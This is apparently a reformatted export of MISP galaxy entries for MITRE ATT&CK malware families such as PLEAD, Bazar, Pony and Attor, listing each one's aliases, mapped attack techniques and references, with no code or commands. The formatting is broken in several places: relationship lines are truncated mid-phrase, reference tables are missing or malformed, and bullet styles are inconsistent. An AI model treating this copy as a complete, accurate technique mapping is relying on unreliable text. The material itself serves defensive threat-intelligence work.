[PLEAD](https://attack.mitre.org/software/S0435) is a remote access tool (RAT) and downloader used by [BlackTech](https://attack.mitre.org/groups/G0098) in targeted attacks in East Asia including Taiwan, Japan, and Hong Kong. *(Citation: TrendMicro BlackTech June 2017)(Citation: JPCert PLEAD Downloader June 2018)* [PLEAD](https://attack.mitre.org/software/S0435) has also been referred to as [TSCookie](https://attack.mitre.org/software/S0436), though more recent reporting indicates likely separation between the two. [PLEAD](https://attack.mitre.org/software/S0435) was observed in use as early as March 2017. *(Citation: JPCert TSCookie March 2018)(Citation: JPCert PLEAD Downloader June 2018)*

The tag is: *misp-galaxy:mitre-malware="PLEAD - S0435"*

**PLEAD - S0435** is also known as:

- PLEAD

View relationships graph

**PLEAD - S0435** has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Malicious File - T1204.002" with estimative-
• uses misp-galaxy:mitre-attack-pattern="Symmetric Cryptography - T1573.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Native API - T1106" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Credentials from Password Stores - T1555" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Application Window Discovery - T1010" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Credentials from Web Browsers - T1555.003" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Proxy - T1090" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Malicious Link - T1204.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Junk Data - T1001.001" with estimative-language:likelihood-probability="almost-certain"

Table 7058. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0435">https://attack.mitre.org/software/S0435</a></td>
</tr>
<tr>
<td><a href="https://blogs.jpcert.or.jp/en/2018/03/malware-tscooki-7aa0.html">https://blogs.jpcert.or.jp/en/2018/03/malware-tscooki-7aa0.html</a></td>
</tr>
</tbody>
</table>
**Bazar - S0534**

[Bazar](https://attack.mitre.org/software/S0534) is a downloader and backdoor that has been used since at least April 2020, with infections primarily against professional services, healthcare, manufacturing, IT, logistics and travel companies across the US and Europe. [Bazar](https://attack.mitre.org/software/S0534) reportedly has ties to [TrickBot](https://attack.mitre.org/software/S0266) campaigns and can be used to deploy additional malware, including ransomware, and to steal sensitive data. (Citation: Cybereason Bazar July 2020)

The tag is: `misp-galaxy:mitre-malware="Bazar - S0534"`

Bazar - S0534 is also known as:

- Bazar
- KEGTAP
- Team9

**View relationships graph**

Bazar - S0534 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Double File Extension - T1036.007" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Match Legitimate Name or Location - T1036.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Domain Account - T1087.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Local Account - T1087.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Network Share Discovery - T1135" with estimative-
language:likelihood-probability="almost-certain"


- uses: misp-galaxy:mitre-attack-pattern="Native API - T1106" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1005" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"


- uses: misp-galaxy:mitre-attack-pattern="Time Based Evasion - T1497.003" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Winlogon Helper DLL - T1547.004" with estimative-language:likelihood-probability="almost-certain"


- uses: misp-galaxy:mitre-attack-pattern="Domain Trust Discovery - T1482" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Masquerade Task or Service - T1036.004" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Virtualization/Sandbox Evasion - T1497" with estimative-language:likelihood-probability="almost-certain"


- uses: misp-galaxy:mitre-attack-pattern="Multi-Stage Channels - T1104" with estimative-language:likelihood-probability="almost-certain"


- uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Disable or Modify Tools - T1562.001" with estimative-
• uses: misp-galaxy:mitre-attack-pattern="Process Hollowing - T1055.012" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Asymmetric Cryptography - T1573.002" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="System Language Discovery - T1614.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Query Registry - T1012" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="BITS Jobs - T1197" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Security Software Discovery - T1518.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Clear Persistence - T1070.009" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Software Packing - T1027.002" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Remote System Discovery - T1018" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Software Discovery - T1518" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Dynamic API Resolution - T1027.007" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Malicious Link - T1204.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Fallback Channels - T1008" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="System Time Discovery - T1124" with estimative-language:likelihood-probability="almost-certain"

Table 7059. Table References
Denis - S0354

[Denis](https://attack.mitre.org/software/S0354) is a Windows backdoor and Trojan used by [APT32](https://attack.mitre.org/groups/G0050). [Denis](https://attack.mitre.org/software/S0354) shares several similarities to the [SOUNDBITE](https://attack.mitre.org/software/S0157) backdoor and has been used in conjunction with the [Goopy](https://attack.mitre.org/software/S0477) backdoor. (Citation: Cybereason Oceanlotus May 2017)

The tag is: `misp-galaxy:mitre-malware="Denis - S0354"`

Denis - S0354 is also known as:

- Denis

View relationships graph

Denis - S0354 has relationships with:

- uses: `misp-galaxy:mitre-attack-pattern="DNS - T1071.004"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="System Checks - T1497.001"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Native API - T1106"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016"` with
estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Query Registry - T1012" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Command Obfuscation - T1027.010" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

Table 7060. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0354">https://attack.mitre.org/software/S0354</a></td>
</tr>
<tr>
<td><a href="https://www.cybereason.com/blog/operation-cobalt-kitty-apt">https://www.cybereason.com/blog/operation-cobalt-kitty-apt</a></td>
</tr>
</tbody>
</table>

**Pony - S0453**

[Pony](https://attack.mitre.org/software/S0453) is a credential stealing malware, though has also been used among adversaries for its downloader capabilities. The source code for Pony Loader 1.0 and 2.0 were leaked online, leading to their use by various threat actors.(Citation: Malwarebytes Pony April 2016)

The tag is: `misp-galaxy:mitre-malware="Pony - S0453"`

Pony - S0453 is also known as:

- Pony

View relationships graph
Pony - S0453 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Password Guessing - T1110.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Match Legitimate Name or Location - T1036.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Local Account - T1087.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Native API - T1106" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Time Based Evasion - T1497.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Malicious Link - T1204.001" with estimative-language:likelihood-probability="almost-certain"

**Table 7061. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0453">https://attack.mitre.org/software/S0453</a></td>
</tr>
<tr>
<td><a href="https://blog.malwarebytes.com/threat-analysis/2015/11/no-money-but-pony-from-a-mail-to-a-trojan-horse/">https://blog.malwarebytes.com/threat-analysis/2015/11/no-money-but-pony-from-a-mail-to-a-trojan-horse/</a></td>
</tr>
</tbody>
</table>
Seasalt - S0345

[Seasalt](https://attack.mitre.org/software/S0345) is malware that has been linked to [APT1](https://attack.mitre.org/groups/G0006)'s 2010 operations. It shares some code similarities with [OceanSalt](https://attack.mitre.org/software/S0346). (Citation: Mandiant APT1 Appendix)(Citation: McAfee Oceansalt Oct 2018)

The tag is: `misp-galaxy:mitre-malware="Seasalt - S0345"

Seasalt - S0345 is also known as:

- Seasalt

View relationships graph

Seasalt - S0345 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Windows Service - T1543.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Masquerade Task or Service - T1036.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

Table 7062. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0345">https://attack.mitre.org/software/S0345</a></td>
</tr>
<tr>
<td><a href="https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report-appendix.zip">https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report-appendix.zip</a></td>
</tr>
</tbody>
</table>
Spark - S0543

[Spark](https://attack.mitre.org/software/S0543) is a Windows backdoor and has been in use since as early as 2017. (Citation: Unit42 Molerat Mar 2020)

The tag is: `misp-galaxy:mitre-malware="Spark - S0543"`

Spark - S0543 is also known as:

- Spark

**View relationships graph**

Spark - S0543 has relationships with:

- uses: `misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="User Activity Based Checks - T1497.002"` with estimative-language:likelihood-probability="almost-certain"

*Table 7063. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><img src="https://attack.mitre.org/software/S0543" alt="Tab" /></td>
</tr>
<tr>
<td><img src="https://unit42.paloaltonetworks.com/molerats-delivers-spark-backdoor/" alt="Tab" /></td>
</tr>
</tbody>
</table>

INSOMNIA - S0463

[INSOMNIA](https://attack.mitre.org/software/S0463) is spyware that has been used by the group
Evil Eye. (Citation: Volexity Insomnia)

The tag is: misp-galaxy:mitre-malware="INSOMNIA - S0463"

INSOMNIA - S0463 is also known as:

- INSOMNIA

View relationships graph

INSOMNIA - S0463 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Ptrace System Calls - T1631.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Exploitation for Privilege Escalation - T1404" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Keychain - T1634.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Non-Standard Port - T1509" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Location Tracking - T1430" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="SMS Messages - T1636.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1406" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Contact List - T1636.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1533" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1426" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Drive-By Compromise - T1456" with estimative-language:likelihood-probability="almost-certain"

Table 7064. Table References
TSCookie - S0436

[TSCookie](https://attack.mitre.org/software/S0436) is a remote access tool (RAT) that has been used by [BlackTech](https://attack.mitre.org/groups/G0098) in campaigns against Japanese targets. (Citation: JPCert TSCookie March 2018) (Citation: JPCert BlackTech Malware September 2019). [TSCookie](https://attack.mitre.org/software/S0436) has been referred to as [PLEAD](https://attack.mitre.org/software/S0435) though more recent reporting indicates a separation between the two. (Citation: JPCert PLEAD Downloader June 2018) (Citation: JPCert BlackTech Malware September 2019).

The tag is: `misP-galaxy:mitre-malware="TSCookie - S0436"`

TSCookie - S0436 is also known as:

- TSCookie

View relationships graph

TSCookie - S0436 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Credentials from Web Browsers - T1555.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-
• uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Malicious Link - T1204.001" with estimative-language:likelihood-probability="almost-certain"

Table 7065. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0436">https://attack.mitre.org/software/S0436</a></td>
</tr>
<tr>
<td><a href="https://blogs.jpcert.or.jp/en/2018/03/malware-tscooki-7aa0.html">https://blogs.jpcert.or.jp/en/2018/03/malware-tscooki-7aa0.html</a></td>
</tr>
</tbody>
</table>

**EnvyScout - S0634**

[EnvyScout](https://attack.mitre.org/software/S0634) is a dropper that has been used by [APT29](https://attack.mitre.org/groups/G0016) since at least 2021.(Citation: MSTIC Nobelium Toolset May 2021)

The tag is: `misp-galaxy:mitre-malware="EnvyScout - S0634"`

EnvyScout - S0634 is also known as:

• EnvyScout

View relationships graph

EnvyScout - S0634 has relationships with:

• uses: misp-galaxy:mitre-attack-pattern="Rundll32 - T1218.011" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="JavaScript - T1059.007" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Malicious File - T1204.002" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Spearphishing Attachment - T1566.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1005" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Masquerading - T1036" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Execution Guardrails - T1480" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Forced Authentication - T1187" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="HTML Smuggling - T1027.006" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Hidden Files and Directories - T1564.001" with estimative-language:likelihood-probability="almost-certain"

Table 7066. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0634">https://attack.mitre.org/software/S0634</a></td>
</tr>
</tbody>
</table>

OceanSalt - S0346

[OceanSalt](https://attack.mitre.org/software/S0346) is a Trojan that was used in a campaign targeting victims in South Korea, United States, and Canada. [OceanSalt](https://attack.mitre.org/software/S0346) shares code similarity with [SpyNote RAT](https://attack.mitre.org/software/S0305), which has been linked to [APT1](https://attack.mitre.org/groups/G0006).(Citation: McAfee Oceansalt Oct 2018)

The tag is: misp-galaxy:mitre-malware="OceanSalt - S0346"

OceanSalt - S0346 is also known as:

• OceanSalt

View relationships graph

OceanSalt - S0346 has relationships with:

• uses: misp-galaxy:mitre-attack-pattern="Spearphishing Attachment - T1566.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Non-Standard Encoding - T1132.002" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"

Table 7067. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0346">https://attack.mitre.org/software/S0346</a></td>
</tr>
</tbody>
</table>

**Peppy - S0643**

[Peppy](https://attack.mitre.org/software/S0643) is a Python-based remote access Trojan, active since at least 2012, with similarities to [Crimson](https://attack.mitre.org/software/S0115). (Citation: Proofpoint Operation Transparent Tribe March 2016)

The tag is: *misp-galaxy:mitre-malware="Peppy - S0643"*

Peppy - S0643 is also known as:

- Peppy

View relationships graph

Peppy - S0643 has relationships with:

• uses: misp-galaxy:mitre-attack-pattern="Screen Capture - T1113" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Keylogging - T1056.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Automated Exfiltration - T1020" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"
AuditCred - S0347

[AuditCred](https://attack.mitre.org/software/S0347) is a malicious DLL that has been used by [Lazarus Group](https://attack.mitre.org/groups/G0032) during their 2018 attacks. (Citation: TrendMicro Lazarus Nov 2018)

The tag is: `misp-galaxy:mitre-malware="AuditCred - S0347"

AuditCred - S0347 is also known as:

- AuditCred
- Roptimizer

View relationships graph

AuditCred - S0347 has relationships with:

- uses: `misp-galaxy:mitre-attack-pattern="Windows Service - T1543.003" with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"
Avenger - S0473

[Avenger](https://attack.mitre.org/software/S0473) is a downloader that has been used by [BRONZE BUTLER](https://attack.mitre.org/groups/G0060) since at least 2019.(Citation: Trend Micro Tick November 2019)

The tag is: `misp-galaxy:mitre-malware="Avenger - S0473"

Avenger - S0473 is also known as:

- Avenger

View relationships graph

Avenger - S0473 has relationships with:

- uses: `misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105"` with estimative-language:likelihood-probability="almost-certain"
Kivars - S0437

[Kivars](https://attack.mitre.org/software/S0437) is a modular remote access tool (RAT), derived from the Bifrost RAT, that was used by [BlackTech](https://attack.mitre.org/groups/G0098) in a 2010 campaign.(Citation: TrendMicro BlackTech June 2017)

The tag is: `misp-galaxy:mitre-malware="Kivars - S0437"

Kivars - S0437 is also known as:

- Kivars

View relationships graph

Kivars - S0437 has relationships with:


- uses: `misp-galaxy:mitre-attack-pattern="Keylogging - T1056.001"` with estimative-language:likelihood-probability="almost-certain"


- uses: `misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083"` with estimative-language:likelihood-probability="almost-certain"

- uses: `misp-galaxy:mitre-attack-pattern="Hidden Window - T1564.003"` with estimative-language:likelihood-probability="almost-certain"

- uses: `misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004"` with estimative-language:likelihood-probability="almost-certain"

- uses: `misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105"` with estimative-language:likelihood-probability="almost-certain"
**SpeakUp - S0374**

[SpeakUp](https://attack.mitre.org/software/S0374) is a Trojan backdoor that targets both Linux and OSX devices. It was first observed in January 2019. (Citation: CheckPoint SpeakUp Feb 2019)

The tag is: `misp-galaxy:mitre-malware="SpeakUp - S0374"`

SpeakUp - S0374 is also known as:

- SpeakUp

**View relationships graph**

SpeakUp - S0374 has relationships with:

- uses: `misp-galaxy:mitre-attack-pattern="Password Guessing - T1110.001"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Exploitation for Client Execution - T1203"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Network Service Discovery - T1046"` with estimative-language:likelihood-probability="almost-certain"
Attor - S0438

[Attor](https://attack.mitre.org/software/S0438) is a Windows-based espionage platform that has been seen in use since 2013. [Attor](https://attack.mitre.org/software/S0438) has a loadable plugin architecture to customize functionality for specific targets. (Citation: ESET Attor Oct 2019)

The tag is: *misp-galaxy:mitre-malware="Attor - S0438"

Attor - S0438 is also known as:

- Attor

View relationships graph

Attor - S0438 has relationships with:

- uses: *misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053.005" with estimative-language:likelihood-probability="almost-certain"
- uses: *misp-galaxy:mitre-attack-pattern="Screen Capture - T1113" with estimative-language:likelihood-probability="almost-certain"
- uses: *misp-galaxy:mitre-attack-pattern="Keylogging - T1056.001" with estimative-language:likelihood-probability="almost-certain"
- uses: *misp-galaxy:mitre-attack-pattern="Local Data Staging - T1074.001" with estimative-language:likelihood-probability="almost-certain"
- uses: *misp-galaxy:mitre-attack-pattern="Windows Service - T1543.003" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="System Checks - T1497.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Automated Collection - T1119" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Clipboard Data - T1115" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Peripheral Device Discovery - T1120" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Native API - T1106" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Process Injection - T1055" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Timestomp - T1070.006" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Application Window Discovery - T1010" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Automated Exfiltration - T1020" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Masquerade Task or Service - T1036.004" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Asynchronous Procedure Call - T1055.004" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Exfiltration Over C2 Channel - T1041" with estimative-language:likelihood-probability="almost-certain"


